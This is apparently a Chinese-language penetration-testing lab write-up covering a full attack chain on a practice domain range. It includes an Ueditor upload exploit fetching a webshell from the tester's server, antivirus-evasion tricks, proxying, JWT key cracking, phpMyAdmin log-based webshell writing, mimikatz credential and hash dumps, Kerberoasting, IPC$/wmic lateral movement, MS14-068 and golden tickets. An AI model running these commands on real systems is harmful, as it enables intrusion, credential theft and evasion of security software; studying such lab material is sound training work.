0x00 环境搭建

必要的准备

第一步:因为这个靶场需要绑定域名,普通ip访问不到。

windows:C:\Windows\System32\drivers\etc\host

linux: /etc/hosts

第二步:这里是前往data1的必经之路,没配就打不下去了。

0x01 外网打点

在攻击之前,我们需要对目标进行收集信息,一般我都是使用masscan+nmap扫描存活主机和端口。dirsearch扫描网站目录

masscan可以快速扫描存在的端口,然后用nmap仔细扫描 

信息收集:

masscan -i eth0 172.18.10.7

nmap -sC -sV -A 172.18.10.7

dirsearch.py -u www.ackmoon.com

根据图片,我们可以收集到有用的信息,开放了web和ftp,但是没有开放3306端口,是一个win2012的服务器,然后尝试使用ip:端口网页连接,发现了999端口是phpmyadmin,尝试了密码爆破,没有结果,寻找一下其他的入口。

使用dirsearch扫描www.ackmoon.com的域名

dirsearch.py -u www.ackmoon.com

对200的网站尝试登录,只有http://www.ackmoon.com/admin可以利用。

没有sql注入,先注册一个账号吧。

登录后发现这个网站是hdhcms,物理路径和数据库都知道了,还有个可以利用的编辑器漏洞Ueditor 1.4.3

上网搜索这个hdhcms是开源的,我们下载源码,搜索我们需要利用的文件。

尝试一下能不能够利用。

构造payload:www.ackmoon.com/Admin/net/controller.ashx?action=catchimage

可以利用。上传我们的POC

action="http://www.ackmoon.com/Admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">  

shell addr: type="text" name="source[]" />

   type="submit" value="Submit" />

使用python -m SimpleHTTPServer 8001开启临时的http。上传一句话木马http://172.18.11.204:8001/1.gif?.aspx

得到了上传路径,我们尝试连接蚁剑。

上线后第一步,查看自己所获取的权限whoami。一般都是web权限,那么现在要做的就是收集信息提权

目标的进程      ----tasklist(查看有无防护软件)

目标网络           ----ipconfig /all

目标内网主机         ----arp -a(下一步渗透主机)

目标补丁           ----systeminfo(漏洞利用)---->漏洞检测使用msf:getsystem、post/multi/recon/local_exploit_suggester模块;Windows-Exploit-Suggester检测。

查看自启程序         ----wmic startup get caption,command(计划任务可以使用)

查看主机开机时间--net statistics workstation(看一下主机是否长期开机)

无引号提权      ----wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """

查看目录权限     icacls "c:"

发现了下一层网段网络存活的主机192.168.22.133、192.168.22.135

把systeninfo导入到system.txt用Windows-Exploit-Suggester检测一下可以利用的漏洞

发现常用漏洞ms16-075(烂土豆)、ms15-051提权的时候可以使用。看到烂土豆就查看Selmpersonate权限或者SeAssignPrimaryToken权限是否启动。

可以使用,提权方法已经找到了,我们看看是否存在防护软件。

发现了360全家桶和护卫神,需要做一下免杀。

免杀分享

刚开始做免杀,发现自己没有地方下手,网上搜索的大多都是代码和原理,而代码大多都是已经被加上特征值,这对于我这个刚接触免杀的小萌新极其不友好=,=

这个时候需要学习一下免杀的手段

低级:修改入口点、加壳伪装、加密,修改特征码

高级:代码混淆,远程下载代码,加花

最近还学了一个msf的python版本,现在依然能够免杀。可惜,目标环境并没有python环境。ps:如果使用visual studio进行代码加工需要注意的地方(原因是加工成exe文件,在其他主机使用会出现丢失dll)

作为一名刚刚接触免杀的小萌新,我觉得很有必要学习一下以前的工具,我主要介绍一下我免杀时用到的方法修改特征码和加壳,使用的也是很老的工具myccl、c32asm、upx。ps:别看工具老,很实用!!!

定位后可以到c32asm的16进制模式定位区间:ctrl+G

加壳就简单了,直接丢进去就完事了。做到这里360、火绒这种日常杀软都可以免杀通过,附带我的一个cs通过表示庆祝。

回到正文

开始我们正式的提权之路。

我一开始使用msf的getsystem和post/multi/recon/local_exploit_suggester模块并没有发现可以提权的漏洞???不是有烂土豆和ms15-051吗,可能是存在360。然后又尝试了Windows-Exploit-Suggester检测到的漏洞,从github下载的也使用不了。又查看了无引号服务也没有发现可以提权的点。最后通过蚁剑上传cs码,使用resbus插件的烂土豆模块提权成功了,真是一波三折,不过还是提权了。

0x02 横向渗透

拿下了web1,我们需要对data1进行攻击,根据提示,它是一个站库分离的考点,那么我们先对data1的端口进行扫描

这应该是一个mssql服务器,web1是网页,data1是数据库,实现了站库分离,也是这个靶场的考点之一。现在就是要找到登录数据库的方法。web1的数据需要存放,那么只要找到hdhcms的数据库配置就能找到data1的账号和密码。

因此就有了之前修改HdhApp.config,不然就做不下去了

账号:sa 密码:pass123@.com

因为navicat上传文件有点困难,我就借助一下大马来进行操作了/滑稽 ps:等结束后学习一下写大马的思路。说不定可以学到不一样的东西。

连接到大马,查看有无防护软件

发现了火绒,做一下免杀,直接用cs上线。上传文件到c:\users\public。然后执行,然后systeminfo找可以利用的漏洞,这里就不放图了,和web1的操作一样,拿下data1的system权限。直接拿下data1。

好了打到现在已经不需要web1主机了,我们给它关闭了把,主要是我的内存不够用了,我怕我做着做着就卡死了。/滑稽

我们开始打另一个存活的主机web2,因为我们访问不到192.168.22.0网段,所以我们需要开启代理模式,这里我使用的是ew。因为我没有使用frp,所以我可以直接访问到data1服务器,所以我们在data1服务器可以直接使用正向sock代理ew_for_win.exe -s ssocksd -l 1080

然后后在sudo vim /etc/proxychians4.conf里添加socks5 172.18.12.235 1080就可以使用了。

准备工作做完,我们开始对web2进行信息收集,不知道为什么masscan扫描出来的端口只有80,8080。因此我们使用nmap尝试扫描最常用的一些端口80,135,445,8080,3389。记得要加上proxychians代理哦~

好像没有什么可以利用的地方,我们先登录一下网站把。

好像放了个海哦,给了提示使用JWT实战:axios+PHP实现登录认证,但是我们也可以使用dirsearch扫描一下该网站的目录。

得了,这还看个鬼,看了一遍眼睛都要花了。尝试一下提示的漏洞吧。上网搜了一下jwt的漏洞利用---->传送门

根据poc,找到token

这里应该是爆破HMAC密钥,跟着使用hashcat。

payload:hashcat -m 16500 jwt.txt -a 0 rockyou.txt -o s.txt ps:rockyou.txt应该是比较全的字典了,反正在wordlists上找到的。

没想到竟然爆破出了Qweasdzxc5,而且我都不知道这个东西是什么有什么用=。=跟着教程走,发现并没有什么卵用。

做到这里已经没有什么思路了,这个JWT没怎么遇到过,所以我直接懵逼啦,只能看看wp了。

原来是Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02的问题,之前看过类似的文章,但是到实战的时候,好像就当这东西不存在了,基本没有注意到。并且这个竟然是phpmyadmin的密码,这是我万万没有想到的。还是自己接触的知识不够多。

再者还有一种方法是构造admin用户签名后的jwt。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJhdWQiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJpYXQiOjE2MzE5MjYzNzIsIm5iZiI6MTYzMTkyNjM4MiwiZXhwIjoxNjMxOTI2OTcyLCJkYXRhIjp7InVzZXJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9fQ.R8v4SX2Fcu-zZjiPw6esGskfTDbqyZ4WEmFuNWksPkg

反思:这是window系统,搭建使用apache就非常的可疑,使用的是phpstudy。但是如何知道是什么版本的呢?

我认为噢,知道它是phpstudy,可以通过bp把版本爆破出来,当然,这属于马后炮了。这也算是一个下下策吧,我也想不出有什么好办法。到后面发现,只有最新版的小皮的管理界面是带版本的。phpstudy2018并不需要。

那么登录phpmyadmin后就是套路了。

找到绝对路径

查看有没有写入权限---->没有就使用日志写入

show global variables like '%secure_file_priv%';看查有无直接写入权限,发现并没有,直接查找日志。

show global variables like "%genera%";查看日志文件情况

直接开启日志,因为它是phpstudy嘛,很轻松就可以构造出它的网站根目录地址

开启日志记录

set global general_log='on';

日志文件导出指定目录(一般导入网站根目录)

set global general_log_file='C:\\phpstudy_pro\\WWW\\c0nfig.php';   #这里是window,\会被过滤,需要\\

记录sql语句写马,演示一下,没有安全狗,直接传原马

select '';

修改回原来的路径            #这里显示不全就不改了,正常来说应该消除痕迹的

set global general_log_file='修改';

关闭记录

set global general_log=off;

用蚁剑连接,先看看权限,在看有无杀毒软件。

发现直接是system权限,就无需再提权了,并且没有找到杀软,可以直接上传我们的cs。

这里说一下,因为内网网段不能直接访问我们,所以我们需要使用正向连接,用无状态window木马或者使用反向连接到data1主机上好处:规避防火墙

在蚁剑执行cs木马后,在data1的会话中执行connect 192.168.22.135 6669,等待web2主机上线。

接下来,就是信息收集了,说说我自己收集的思路吧。

ipconfig /all              ----->判断是否有主域,

nltest /domain_trusts          ----->查看是否有林域

net group "domain controllers" /domain ----->查看主域是哪一台服务器

net time /domain           ----->快速定位域控ip,一般是dns、时间服务器:----接ping

net group "domaincontrollers" /domain  ----->查看域控制器

net user /domain               ----->查看域内的组成员

net group "domain admins" /domain  ----->查看域内的管理员

net accounts /domain           ----->获取域密码强度信息

内网主机

   net view           ----->查看共享资料

       arp -a             ----->arp路由表

        ipconfig /displaydns     ----->dns缓存

凭据收集

   logonpasswords         ----->cs模块mimikatz获取信息

   mimikatz kerberos::list /export ----->github上的kerberos

       寻找域控管理员的账号     ----->python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi

ipconfig /all 发现了域ack123.com和新的网段10.10.10.0

找出主域控。

找存活主机

寻找主域凭证

方法一:爆破krbtgt,导入到kali,用github的kerberoast中的tgsrepcrack.py爆破,构造:python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi

得到了主域的管理员账号administratorP@55w0rd!有了账号和密码,我们可以使用cs的psexec或者ipc$上传payload后执行。

方法二:找到administrator的NTML(hash)值mimikatz sekurlsa::logonpasswords

在md5网站尝试爆破

信息收集

:ack123.com

主域:10.10.10.135

存活主机:10.10.10.136

主域管理员账号:administrator   P@55w0rd!

凭证信息

   Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd

   Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

   moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387

方法一:pexecs

这里需要新建一个监听器,让域内的主机可以访问到我们的受害机,这样在转发信息到我们的服务器。

方法二:ipc$上传文件并执行

               net use \\10.10.10.136\ipc$ /user:administrator "P@55w0rd!"

上传cs木马: copy c:\users\public\beacon2.exe \\10.10.10.136\c$\users\public\beacon2.exe

执行命令:  wmic /node:10.10.10.136 /user:ack123\administrator /password:P@55w0rd! process call create "c:\users\public\beacon2.exe"

做到这里基本都拿下来,但是我感觉还是不够,在《内网安全攻防:渗透测试指南》这本书中还有一些没有使用出来的操作,这里也一并使用一下。毕竟不是每次都能成功爆破出主域管理员的密码,你们说对吧。

先是利用MS14-068来将用户的权限提升到域管权限

检查是否有提权漏洞,其补丁为 3011780,我们执行命令: systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在MS14-068漏洞。

MS14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

添加一个域管用户aaa:

net user aaa Qwe123... /add /domain

net group "Domain Admins" aaa /add /domain

构造黄金票据

伪造金票的所需条件:

1、域名称

2、krbtgt的SID值

3、域的KRBTGT账号的Hash

4、伪造任意用户名域的名称我们已经知道,需要的用户名也是任意伪造一个就行,下面我们的目的就是拿到krbtgt的NTLM Hash和SID。

administrator  

   sid     :S-1-5-21-2015848930-1301831522-615504165

       NTLM    : bc23a1506bd3c8d3a533680c516bab27

   SHA1    : 92bba0d597b5558b58db8e7a2167c9f9e04f1413

   DPAPI   : 771a067e3346d70181772f8b634ef03e

krbtgt

   hash    :fb979da43f63a991f8f5599add59e01c

可以看到黄金票据已经创建成功了。

使用方法:

0x03 总结

流程

1.通过Ueditor 1.4.3漏洞获取webshell权限

2.通过cs的erebus插件的烂土豆提权至system

3.通过web1获取data1的mssql数据库账号密码,并用大马上传cs马提权。

4.通过JWT漏洞获取phpmyadmin的密码,通过phpmyadmin管理界面写webshell一句话并上传cs

5.通过爆破主域管理员账号administrator的hash密码,进行pesecs或ipc$横向获取主机

总体做下来还是十分有挑战性的,没开始做之前没想到中间的挫折会有这么多,当真正实战才发现会有许多的技巧点。边缘打点我感觉更多是靠知识的积累,内网更多是看如何快速拿下域控并且不被发现。